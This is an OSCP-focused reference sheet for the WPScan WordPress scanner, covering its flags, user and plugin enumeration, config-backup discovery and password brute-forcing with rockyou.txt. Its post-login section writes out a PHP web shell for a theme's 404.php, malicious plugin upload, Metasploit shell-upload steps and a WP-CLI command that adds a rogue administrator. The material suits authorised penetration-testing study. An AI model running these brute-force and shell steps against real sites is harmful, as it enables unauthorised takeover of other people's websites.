WPScan — WordPress Scanner Reference

What is WPScan?

WPScan is a black-box WordPress security scanner written in Ruby. It enumerates WordPress installations for users, plugins, themes, config files, and known vulnerabilities — and can brute-force login credentials. Uses the WPVulnDB vulnerability database.

OSCP use: Whenever you find a WordPress site, run WPScan immediately. User enumeration alone often gives you a username to brute-force, and outdated plugins are a very common foothold path.

Not sure it’s WordPress? Run CMSeeK - cmseek first — it detects 180+ CMSs (WP, Joomla, Drupal, etc.) before you commit to WPScan.


Install (Kali)

sudo apt update && sudo apt install -y wpscan

Verify: wpscan --version

Full install index → Installation - Kali Setup


Syntax

wpscan [options] --url <target>

📌 1) All Flags

Target

FlagDescription
--url <url>Target WordPress URL (required)
--url-split <N>Split base URL at the Nth / (for multi-site installs)

Enumeration

FlagDescription
-e, --enumerate [opts]What to enumerate (see modes below)
--plugins-detection <mode>Plugin detection mode: passive, aggressive, mixed (default: passive)
--plugins-version-detection <mode>Plugin version detection: passive, aggressive, mixed
--themes-detection <mode>Theme detection mode: passive, aggressive, mixed
--themes-version-detection <mode>Theme version detection
--exclude-content-based <regexp>Exclude responses matching this regex from detection

Authentication

FlagDescription
--username <user>Single username for brute-force
--usernames <file>File of usernames for brute-force
-U <user/file>Shorthand for username(s)
--password <pass>Single password
--passwords <file>Password wordlist file
-P <pass/file>Shorthand for password(s)
--login-uri <path>Custom login page path (default: /wp-login.php)
--http-auth <user:pass>HTTP Basic Auth credentials
--cookie <cookie>Set a cookie value (for authenticated scans)
--wp-content-dir <dir>Manually set wp-content directory if non-standard
--wp-plugins-dir <dir>Manually set plugins directory

HTTP Options

FlagDescription
--random-user-agentUse a random User-Agent for each request
--user-agent <string>Custom User-Agent string
--proxy <url>Proxy URL (e.g. http://127.0.0.1:8080)
--proxy-auth <user:pass>Proxy authentication
--cookie-string <string>Cookie header value
--headers <headers>Custom HTTP headers
--disable-tls-checksIgnore TLS/SSL certificate errors
--max-threads <N>Max concurrent HTTP requests (default: 5)
-t <N>Shorthand for --max-threads
--request-timeout <sec>HTTP request timeout (default: 60)
--connect-timeout <sec>Connection timeout (default: 30)
--throttle <ms>Wait N milliseconds between each request
--cache-ttl <sec>Cache TTL in seconds (default: 600)
--ignore-main-redirectIgnore main URL redirect
--forceForce scan even if not identified as WordPress

API / Database

FlagDescription
--api-token <token>WPVulnDB API token (free registration — more vuln data)

Output

FlagDescription
-o, --output <file>Save output to file
-f, --format <format>Output format: cli, cli-no-colour, json, cli-no-colour
--no-bannerSuppress the WPScan banner
-v, --verboseVerbose output
--no-updateSkip database update check
--updateUpdate WPScan and the vulnerability database

📌 2) Enumeration Modes (-e)

Pass one or more comma-separated values to --enumerate / -e:

ValueWhat it enumerates
vpVulnerable plugins
apAll plugins
pPlugins (passive detection only)
vtVulnerable themes
atAll themes
tThemes (passive detection only)
ttTimthumbs (old thumbnail vulnerabilities)
cbConfig backups (wp-config.php.bak, etc.)
dbeDatabase exports (.sql files in web root)
uUsers (default: IDs 1–10)
u[1-50]Users with IDs in range 1–50
mMedia (attachment IDs)
m[1-100]Media with IDs in range 1–100

Combining modes

# Most useful combination for OSCP
wpscan --url http://TARGET -e u,vp,vt,cb,dbe
 
# Everything
wpscan --url http://TARGET -e ap,at,tt,cb,dbe,u[1-100]
 
# Just users
wpscan --url http://TARGET -e u
 
# Just vulnerable plugins
wpscan --url http://TARGET -e vp

📌 3) Basic Scanning

Default scan (passive, no auth)

wpscan --url http://TARGET
wpscan --url http://TARGET/wordpress/

Aggressive detection (more requests, more results)

wpscan --url http://TARGET --plugins-detection aggressive --themes-detection aggressive

Non-standard wp-content path (plugins under subfolder)

When WordPress lives under a deep path (e.g. /assets/fonts/blog/) — force scan + aggressive plugin enum:

wpscan --url http://192.168.185.217/assets/fonts/blog/ \
  --enumerate p \
  --plugins-detection aggressive \
  --force \
  --no-update
FlagWhy
--enumerate pEnumerate all plugins
--plugins-detection aggressiveMore requests — finds hidden/outdated plugins
--forceScan even if WP fingerprint is weak
--no-updateSkip DB update — faster on exam / offline

Full enumeration — everything

wpscan --url http://TARGET -e ap,at,tt,cb,dbe,u --plugins-detection aggressive

HTTPS with broken cert

wpscan --url https://TARGET --disable-tls-checks
wpscan --url http://TARGET -e vp,vt,u --api-token YOUR_TOKEN_HERE

Register free at https://wpscan.com/register to get an API token. Gives you vulnerability details and CVE numbers for plugins/themes.


📌 4) User Enumeration

WordPress leaks usernames through the author parameter and REST API by default:

# Basic user enum (IDs 1–10)
wpscan --url http://TARGET -e u
 
# Wider range (catch all users on large installs)
wpscan --url http://TARGET -e u[1-100]
 
# The authors REST endpoint (manual check)
curl http://TARGET/wp-json/wp/v2/users
curl http://TARGET/?author=1             # Redirects to /author/username/
curl http://TARGET/?author=2

Sample output

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Login Error Messages (Aggressive Detection)

[+] bob
 | Found By: Rss Generator (Passive Detection)

Take every username found and feed into the password attack.


📌 5) Password Brute-Force

# Single user + wordlist
wpscan --url http://TARGET -U admin -P /usr/share/wordlists/rockyou.txt
 
# User list + wordlist
wpscan --url http://TARGET -U users.txt -P /usr/share/wordlists/rockyou.txt
 
# With threads for speed (careful — may trigger rate limiting)
wpscan --url http://TARGET -U admin -P rockyou.txt -t 20
 
# Single user + single password (test known cred)
wpscan --url http://TARGET -U admin -P password123
 
# With throttle (slow down to avoid WAF/lockout)
wpscan --url http://TARGET -U admin -P rockyou.txt --throttle 500

Tip: Always enumerate users first (-e u), then brute-force with the discovered usernames rather than guessing.


📌 6) Plugin Enumeration

# Vulnerable plugins only (fast)
wpscan --url http://TARGET -e vp
 
# All plugins — passive
wpscan --url http://TARGET -e ap
 
# All plugins — aggressive (checks all known plugin paths)
wpscan --url http://TARGET -e ap --plugins-detection aggressive
 
# Get plugin versions aggressively
wpscan --url http://TARGET -e ap --plugins-detection aggressive --plugins-version-detection aggressive

Sample output

[+] akismet
 | Location: http://TARGET/wp-content/plugins/akismet/
 | Latest Version: 5.3.3
 | Last Updated: 2024-01-01

[+] contact-form-7
 | Location: http://TARGET/wp-content/plugins/contact-form-7/
 | Version: 5.1.1 (Insecure, released 2020-12-01)
 |
 | Found By: Readme File (Aggressive Detection)
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Contact Form 7 < 5.3.2 - Unrestricted File Upload
 |     CVE: CVE-2020-35489
 |     CVSS: 9.8
 |     Reference: https://wpscan.com/vulnerability/...

Any [!] vulnerability should be researched immediately — look up the CVE and search for a public exploit.


📌 7) Theme Enumeration

# Vulnerable themes
wpscan --url http://TARGET -e vt
 
# All themes — aggressive
wpscan --url http://TARGET -e at --themes-detection aggressive

📌 8) Config Backup & DB Export Discovery

Old config backups and database exports left in the web root are a goldmine:

wpscan --url http://TARGET -e cb,dbe

Files it checks for (cb)

wp-config.php.bak
wp-config.php.old
wp-config.php.orig
wp-config.php.save
wp-config.php~
wp-config.php.swp
wp-config.bak
wp-config.txt

Files it checks for (dbe)

wp-content/database.sql
wp-content/backup.sql
wp-content/db.sql
*.sql files in common backup directories

📌 9) Authenticated Scanning

If you have WordPress credentials, pass them to get deeper scan results:

# Use cookie from a logged-in session (get from Burp/browser)
wpscan --url http://TARGET --cookie "wordpress_logged_in_XXXX=value; wordpress_sec_XXXX=value"
 
# HTTP Basic Auth (for sites with additional auth layer)
wpscan --url http://TARGET --http-auth admin:password

📌 10) Routing Through a Proxy (Burp)

# Route through Burp for request inspection
wpscan --url http://TARGET --proxy http://127.0.0.1:8080
 
# Proxy with auth
wpscan --url http://TARGET --proxy http://127.0.0.1:8080 --proxy-auth user:pass
 
# Through proxychains (pivot)
proxychains wpscan --url http://TARGET --disable-tls-checks

📌 11) Output & Reporting

# Save as plain text
wpscan --url http://TARGET -e u,vp -o wpscan_output.txt
 
# Save as JSON (structured — good for parsing)
wpscan --url http://TARGET -e u,vp -o wpscan_output.json -f json
 
# No banner + quiet (clean output for reporting)
wpscan --url http://TARGET -e u,vp --no-banner

📌 12) Updating WPScan

Keep the vulnerability database current before each engagement:

wpscan --update
 
# Force update
gem update wpscan

📌 13) Post-Login Actions

Once you have valid WordPress credentials:

# Method 1: Theme editor RCE
# Admin → Appearance → Theme File Editor → 404.php
# Add: <?php system($_GET['cmd']); ?>
# Save → visit http://TARGET/wp-content/themes/THEME/404.php?cmd=id
 
# Method 2: Plugin upload (Admin required)
# Admin → Plugins → Add New → Upload Plugin
# Upload a malicious ZIP containing a PHP shell
 
# Method 3: Metasploit
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS TARGET
set USERNAME admin
set PASSWORD password
set TARGETURI /
run
 
# Method 4: WP-CLI (if accessible on server)
wp --allow-root user create hacker hacker@example.com --role=administrator --user_pass=Password1

📌 Common WordPress Files & Paths

# Login page
http://TARGET/wp-login.php
http://TARGET/wp-admin/
 
# Config file (contains DB credentials)
http://TARGET/wp-config.php         # Should return 403 — if not, it's exposed
/var/www/html/wp-config.php         # Common path on Linux
 
# User enumeration
http://TARGET/?author=1
http://TARGET/wp-json/wp/v2/users
 
# XML-RPC (can be used for brute-force bypass)
http://TARGET/xmlrpc.php
 
# Readme (reveals exact version)
http://TARGET/readme.html
http://TARGET/wp-admin/about.php
 
# Uploads directory
http://TARGET/wp-content/uploads/

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# Standard first scan
wpscan --url http://TARGET -e u,vp,vt,cb,dbe --plugins-detection aggressive
 
# Deep path / non-standard wp-content — aggressive plugins
wpscan --url http://TARGET/assets/fonts/blog/ --enumerate p --plugins-detection aggressive --force --no-update
 
# With API token (recommended)
wpscan --url http://TARGET -e u,vp,vt,cb,dbe --plugins-detection aggressive --api-token TOKEN
 
# HTTPS with bad cert
wpscan --url https://TARGET -e u,vp,vt,cb,dbe --disable-tls-checks
 
# Password attack with found usernames
wpscan --url http://TARGET -U admin -P /usr/share/wordlists/rockyou.txt -t 10
 
# Save output
wpscan --url http://TARGET -e u,vp -o wpscan_TARGET.txt
 
# After getting admin creds → shell via Metasploit
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS TARGET && set USERNAME admin && set PASSWORD password && run

📌 WebSockets — mostly HTTP for WP

WPScan targets WordPress over HTTP/HTTPS — standard login, REST API, and plugin enumeration. It does not test WebSocket frames.

WordPress surfaceTool
/wp-login.php, XML-RPC, REST /wp-json/WPScan + Hydra
Live chat / realtime plugins (rare)Gobuster / ffuf for plugin paths → Burp Suite WebSockets
SQLi in WPUsually HTTP params → SQLMap; WS-only backends need HTTP bridge (see SQLMap)

If a plugin exposes /ws or Socket.IO under /wp-content/plugins/PLUGIN/, enumerate the plugin with WPScan first, then manual WS testing in Burp.